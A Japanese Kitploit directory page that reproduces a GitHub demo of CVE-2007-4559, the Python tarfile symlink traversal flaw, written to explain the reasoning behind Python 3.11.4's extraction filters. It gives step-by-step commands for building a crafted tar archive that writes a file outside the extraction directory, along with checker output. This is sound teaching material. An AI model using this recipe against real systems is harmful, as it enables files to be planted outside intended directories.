Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2007-4559 | Kitploit
ツール/GitHubGitHub/davidholiday/cve-2007-4559
静的分析脆弱性分析コード分析エクスプロイトサプライチェーンセキュリティ学習と教育
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

リポジトリを見る
12年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2007-4559 のデモ

これは何か?

これは、python v3.11.4 より前の python における tar ファイル展開のデフォルト処理が、単純なシンボリックリンク攻撃に対して脆弱であることを示すデモです。以下の手順は、悪意のあるペイロードを作成する方法を説明しています。untar.py スクリプトは、3.11.4 で追加された機能がどのように、そしてなぜ機能するのかを示しています。具体的には、すべてのファイルの書き込みの前に os.path.realpath() のようなものを呼び出す必要性です。このスクリプトは、python >= 3.11.4 に含まれる extraction filter 機能とまったく同じ検査方法を使用していますが、ファイルをディスクに書き込まない点が異なります。これにより、os.path.realpath() がシンボリックリンクを適切に解決できず、tar メンバーが意図したファイルシステムの場所の外に書き込まれる可能性があることを示しています。

内容

  • サンドボックスと悪意のある tar ファイルをセットアップするための手順(このファイル)

  • python tarfile ライブラリにおける拡張 tar 検証の最近の実装の背景にある「なぜ」を示す python スクリプト untar.py。os.path.realpath() の動作により、シンボリックリンクがすでにファイルシステム上に存在しない限り、それを頼りにシンボリックリンクを解決することはできません。つまり、アーカイブを展開する前に tar メンバーのパスを検査するために os.path.realpath() だけに依存することはできません。代わりに、悪意のあるリンク活動を確実に検出するために、アーカイブ内のすべてのメンバーについて、すべての書き込みの前に os.path.realpath() を呼び出す必要があります。詳細については、PEP-706 および tarfile doc を参照してください。

環境と悪意のある tar ファイルの作成

  1. テスト環境を作成します
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. ./lib フォルダを tar アーカイブに追加します
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. ./lib ディレクトリを、同じ名前で "." を指すシンボリックリンクに置き換えます
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. シンボリックリンク "lib" をアーカイブに追加します
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. シンボリックリンク "lib" をディレクトリとファイルに置き換えます
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. 相対パスを使用してファイルをアーカイブに追加します
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. tar をターゲットディレクトリにコピーします
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. tar を展開します。"dangerous_file" はターゲットディレクトリの外に展開されました
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

python スクリプトを使用する

  1. このリポジトリから untar.py をダウンロードし、./lab ディレクトリに置きます

  2. スクリプトを実行します。悪意のあるシンボリックリンクがまだターゲットファイルシステムに書き込まれていない場合、os.path.realpath() をだますのがいかに簡単かに注目してください。

root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

関連資料

  • [Python-Dev] tarfile とディレクトリトラバーサルの脆弱性

  • 警告: 15年にわたる Python tarfile の欠陥が「35万以上の」コードプロジェクトに潜んでいる

  • python 3.11.4 の新機能より前に tar アーカイブを安全に展開する方法に関する SO 投稿

  • python の issue 21109

  • tarlib ライブラリの長年のメンテナ [2019年引退] による2022年の声明

  • python 3.11.4 で導入された新しい extraction filter 機能の実装

ツールをダウンロード